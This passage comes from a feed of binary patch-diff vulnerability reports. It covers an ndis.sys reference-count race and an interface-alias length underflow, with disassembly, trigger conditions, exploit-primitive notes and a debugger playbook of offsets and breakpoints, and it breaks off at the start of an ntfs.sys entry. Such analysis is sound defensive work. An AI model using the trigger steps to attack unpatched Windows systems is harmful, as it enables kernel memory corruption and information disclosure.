&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;bt&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140011A9A&lt;/span&gt;
&lt;span class="mf"&gt;0000000140011&lt;/span&gt;&lt;span class="n"&gt;A92&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;ndisMTryReferenceOpen&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;YAEPEAU_NDIS_OPEN_BLOCK&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;W4_NDIS_OPEN_REFTAG&lt;/span&gt;&lt;span class="err"&gt;@@@&lt;/span&gt;&lt;span class="n"&gt;Z&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;ndisMReferenceOpen&lt;/code&gt; (Unsafe helper, &lt;code&gt;0x140059890&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The helper acquires &lt;code&gt;+0x258&lt;/code&gt; but increments with no liveness check.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;258&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;B1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;open&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x258&lt;/span&gt;
&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisReferenceWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E4h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;increment&lt;/span&gt;
&lt;span class="mf"&gt;00000001400598&lt;/span&gt;&lt;span class="n"&gt;E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;&lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt; (Safe helper, &lt;code&gt;0x1400a0b60&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The helper acquires &lt;code&gt;+0x258&lt;/code&gt; and re-checks &lt;code&gt;+0xe4&lt;/code&gt; before referencing.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0B8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;open&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x258&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0B9A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E4h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INSIDE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BA0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1400A0BBA&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BA2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;250&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisReferenceWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BB1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;E4h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;increment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;
&lt;span class="mf"&gt;00000001400&lt;/span&gt;&lt;span class="n"&gt;A0BC0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;To trigger the reference-count race (Findings 1 and 2):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Setup:&lt;/strong&gt; On a system running the unpatched &lt;code&gt;ndis.sys&lt;/code&gt; where the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; feature is off, register an NDIS protocol (&lt;code&gt;NdisRegisterProtocolEx&lt;/code&gt;) or lightweight filter (&lt;code&gt;NdisFRegisterFilterDriver&lt;/code&gt;) so open blocks (protocol↔miniport bindings) exist.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrency:&lt;/strong&gt; Reference an open block by handle (e.g. OID routing through &lt;code&gt;ndisMOidRequest&lt;/code&gt;, or PktMon registration for Finding 2) while concurrently tearing the same binding down so another thread decrements &lt;code&gt;openblock+0xe4&lt;/code&gt; to zero under the &lt;code&gt;openblock+0x258&lt;/code&gt; spinlock.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Window:&lt;/strong&gt; The window is between the unlocked read at &lt;code&gt;0x140011a6b&lt;/code&gt; (Finding 1) / &lt;code&gt;0x1400b66e8&lt;/code&gt; (Finding 2) and the locked increment at &lt;code&gt;0x1400598d0&lt;/code&gt; inside &lt;code&gt;ndisMReferenceOpen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; If the count reaches zero during the window, the blind increment resurrects a reference on an open block being freed, which can lead to use-after-free when the object is later dereferenced. A kernel bugcheck (e.g. &lt;code&gt;0xD1&lt;/code&gt; DRIVER_IRQL_NOT_LESS_OR_EQUAL or &lt;code&gt;0x50&lt;/code&gt; PAGE_FAULT_IN_NONPAGED_AREA) is a possible outcome; no controlled exploitation primitive is demonstrated by the binaries.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To trigger the interface-alias underflow (Finding 3): issue a user-mode PnP/interface request (reaching &lt;code&gt;ndisHandleUModePnPOp&lt;/code&gt; → &lt;code&gt;ndisIfAliasChange&lt;/code&gt;) with an interface-name string whose &lt;code&gt;Length&lt;/code&gt; field is smaller than the &lt;code&gt;ndisDeviceStr&lt;/code&gt; device-prefix length. On the unpatched build with the feature off, the length check is skipped and the &lt;code&gt;USHORT&lt;/code&gt; subtraction underflows, causing &lt;code&gt;RtlGUIDFromString&lt;/code&gt; to read out of bounds.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive (Findings 1 &amp;amp; 2):&lt;/strong&gt; A reference-count race on an &lt;code&gt;_NDIS_OPEN_BLOCK&lt;/code&gt; (NonPagedPool). The blind increment can resurrect a reference on an open block whose count reached zero, a use-after-free condition. The binaries do not demonstrate any controlled read/write, information-leak, or code-execution primitive built on this; impact beyond kernel memory corruption / bugcheck is not established by the diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primitive (Finding 3):&lt;/strong&gt; An out-of-bounds read driven by a 16-bit length underflow, feeding an over-long &lt;code&gt;UNICODE_STRING&lt;/code&gt; to &lt;code&gt;RtlGUIDFromString&lt;/code&gt;. Impact is limited to reading kernel memory adjacent to the caller-supplied string (potential information disclosure or bugcheck); no out-of-bounds write is present (the &lt;code&gt;memmove&lt;/code&gt; into &lt;code&gt;ifAlias&lt;/code&gt; is separately clamped to &lt;code&gt;0x200&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; The fix is delivered by removing the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; feature gate binary-wide and always taking the checked paths (&lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt;; unconditional length check). The patched build retains no feature-off branch.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger Playbook&lt;/h3&gt;
&lt;p&gt;For an analyst using a kernel debugger on the unpatched binary to observe the race:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndis!ndisReferenceOpenByHandle+0xcb&lt;/code&gt; (&lt;code&gt;0x140011a6b&lt;/code&gt;) — the unlocked read &lt;code&gt;cmp dword ptr [rbx+0E4h], 0&lt;/code&gt;; &lt;code&gt;rbx&lt;/code&gt; is the &lt;code&gt;_NDIS_OPEN_BLOCK&lt;/code&gt;. The &lt;code&gt;+0x258&lt;/code&gt; spinlock is not held here.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndis!ndisMReferenceOpen+0x40&lt;/code&gt; (&lt;code&gt;0x1400598d0&lt;/code&gt;) — the unconditional &lt;code&gt;inc dword ptr [rsi+0E4h]&lt;/code&gt;; &lt;code&gt;rsi&lt;/code&gt; is the open block. Compare &lt;code&gt;[rsi+0xe4]&lt;/code&gt; here to the value read at &lt;code&gt;0x140011a6b&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x140011a6b&lt;/code&gt;: &lt;code&gt;rbx&lt;/code&gt; (open block pointer) and &lt;code&gt;[rbx+0xe4]&lt;/code&gt; (reference count read outside &lt;code&gt;+0x258&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;0x1400598d0&lt;/code&gt;: &lt;code&gt;rsi&lt;/code&gt; (open block pointer) and &lt;code&gt;[rsi+0xe4]&lt;/code&gt; (count being incremented). Watch for concurrent decrements of &lt;code&gt;+0xe4&lt;/code&gt; from open-block close/teardown paths under &lt;code&gt;+0x258&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Offsets:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140011a56&lt;/code&gt; — call to the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; feature gate (selects safe vs unsafe path).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140011a6b&lt;/code&gt; — read of &lt;code&gt;+0xe4&lt;/code&gt; outside the &lt;code&gt;+0x258&lt;/code&gt; spinlock.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140011a7b&lt;/code&gt; — call to &lt;code&gt;ndisMReferenceOpen&lt;/code&gt; (unsafe path).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x140011a92&lt;/code&gt; — call to &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt; (safe path, for comparison).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1400598d0&lt;/code&gt; — unconditional increment inside &lt;code&gt;ndisMReferenceOpen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1400a0b9a&lt;/code&gt; — the correct check inside the &lt;code&gt;+0x258&lt;/code&gt; lock in &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Open-block offsets: &lt;code&gt;+0xe0&lt;/code&gt; flags dword (bit &lt;code&gt;0xf&lt;/code&gt; = closing/teardown state), &lt;code&gt;+0xe4&lt;/code&gt; reference count, &lt;code&gt;+0x250&lt;/code&gt; refcount block passed to &lt;code&gt;NdisReferenceWithTag&lt;/code&gt;, &lt;code&gt;+0x258&lt;/code&gt; spinlock guarding &lt;code&gt;+0xe4&lt;/code&gt;, &lt;code&gt;+0xe8&lt;/code&gt; per-open-block spinlock, &lt;code&gt;+0x180&lt;/code&gt; next pointer. Global open list at &lt;code&gt;ndisGlobalOpenList&lt;/code&gt;, guarded by &lt;code&gt;ndisGlobalOpenListLock&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;h4&gt;Security-relevant changes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ndisReferenceOpenByHandle&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1400119A0&lt;/code&gt; → &lt;code&gt;0x140011920&lt;/code&gt;): &lt;strong&gt;[Finding 1]&lt;/strong&gt; Feature gate removed; the unlocked check plus blind &lt;code&gt;ndisMReferenceOpen&lt;/code&gt; path is eliminated. The patched version acquires &lt;code&gt;+0x258&lt;/code&gt;, checks &lt;code&gt;+0xe4&lt;/code&gt;, and increments only if non-zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ndisPktMonRegisterAllOpens&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1400B6668&lt;/code&gt; → &lt;code&gt;0x1400B6420&lt;/code&gt;): &lt;strong&gt;[Finding 2]&lt;/strong&gt; Same fix in the PktMon open-registration path; always uses &lt;code&gt;ndisMTryReferenceOpen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ndisIfAliasChange&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1400CFE18&lt;/code&gt; → &lt;code&gt;0x1400CFB48&lt;/code&gt;): &lt;strong&gt;[Finding 3]&lt;/strong&gt; The &lt;code&gt;a1-&amp;gt;Length &amp;lt; ndisDeviceStr.Length&lt;/code&gt; check is made unconditional, preventing the &lt;code&gt;USHORT&lt;/code&gt; underflow that fed an out-of-bounds read to &lt;code&gt;RtlGUIDFromString&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Supporting / behavioral changes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ndisReadRegistry&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x14009DA20&lt;/code&gt;): Removed the assignment &lt;code&gt;ndisNDPQualityWinter25IsEnabled = 1&lt;/code&gt; (guarded by the feature gate). This global no longer exists in the patched build, which is why the &lt;code&gt;ndisIfAliasChange&lt;/code&gt; check is always taken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverEntry&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x140191234&lt;/code&gt;): Removed the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; feature-gate initialization call.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Other feature-gate touchpoints (no security impact)&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;NDPQualityWinter25&lt;/code&gt; gate appeared in eleven further functions, none of which fixes a memory-safety, reference-count, or bounds defect:
* &lt;strong&gt;Identical dead branches&lt;/strong&gt; (both arms of the gate performed the same operation; patched folds to the single statement): the NDIS filter flag accessors &lt;code&gt;FILTER_SET_FLAG&lt;/code&gt;, &lt;code&gt;FILTER_CLEAR_FLAG&lt;/code&gt;, &lt;code&gt;FILTER_CLEAR_ALL_STATE_FLAGS&lt;/code&gt;, &lt;code&gt;FILTER_TEST_FLAG&lt;/code&gt;, plus &lt;code&gt;ndisFIndicateStatusInternal&lt;/code&gt; and &lt;code&gt;ndisMRawIndicateStatusEx&lt;/code&gt; (their gated ternaries wrap those same flag helpers with identical arms and unchanged locking).
* &lt;strong&gt;Discarded usage-telemetry call removed&lt;/strong&gt; (return value ignored, no control-flow effect): &lt;code&gt;ndisFilterSendNetBufferLists&lt;/code&gt;, &lt;code&gt;ndisSendNBLToFilter&lt;/code&gt;, &lt;code&gt;NdisQueryPendingIOCount&lt;/code&gt; (its check-then-compute is already inside the spinlock in both builds, so it is not the Finding 1 pattern).
* &lt;strong&gt;Fixed-size output-field population / refactor&lt;/strong&gt;: &lt;code&gt;ndisBindReadProtocolDriverFromV2Registry&lt;/code&gt; and &lt;code&gt;ndisBindReadProtocolDriverFromV3Registry&lt;/code&gt; gate whether a fully-initialized 16-byte &lt;code&gt;Guid&lt;/code&gt; is copied into a fixed output-struct field; the patched build always copies it (and &lt;code&gt;V3&lt;/code&gt; additionally replaces hand-rolled registry parsing with helper calls). No bounds or lifetime defect on the feature-off path.&lt;/p&gt;
&lt;h4&gt;Cosmetic / register-allocation changes&lt;/h4&gt;
&lt;p&gt;The remaining changed functions differ only by compiler register reassignment, instruction reordering, WPP trace-GUID relocation, or the removal of the now-unused feature-gate stub functions (&lt;code&gt;Feature_NDPQualityWinter25__private_IsEnabled*&lt;/code&gt;). No behavioral or security impact.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt; NDIS routines. (The &lt;code&gt;Feature_NDPQualityWinter25__private_IsEnabled*&lt;/code&gt; stub functions and their fallbacks are gone in the patched build, consistent with the gate being removed.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the change is a delivered fix: the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; gate is present 24 times in the unpatched build and 0 times in the patched build, with the code folded to the checked paths in every case and no feature-off branch retained.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Findings 1 &amp;amp; 2:&lt;/strong&gt; The reference-count race is real (check outside &lt;code&gt;+0x258&lt;/code&gt;, blind increment under &lt;code&gt;+0x258&lt;/code&gt;, fixed by the check-under-lock helper). Severity is rated Medium: it is a local kernel race with use-after-free potential, but the binaries demonstrate no controlled exploitation primitive, and winning the window requires concurrent open-block teardown.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 3:&lt;/strong&gt; The integer underflow and resulting out-of-bounds read are real and reachable from a user-mode PnP request. Impact is a kernel out-of-bounds read (information disclosure or bugcheck); there is no out-of-bounds write on this path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; The unsafe behavior is active when the &lt;code&gt;NDPQualityWinter25&lt;/code&gt; feature is off. The exact default state of that feature on shipping systems is not determinable from the binaries.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ntfs.sys — Feature-gated bounds/size validation in $LogFile restart-table recovery made unconditional (CWE-787) — fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ntfs_a3166659-ntfs-report-20260703-153234.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/ntfs_a3166659-ntfs-report-20260703-153234.html</id><summary type="html">&lt;p&gt;KB5082123&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ntfs_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ntfs_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9924&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4047&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions (behavioral)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions (tracing metadata only)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
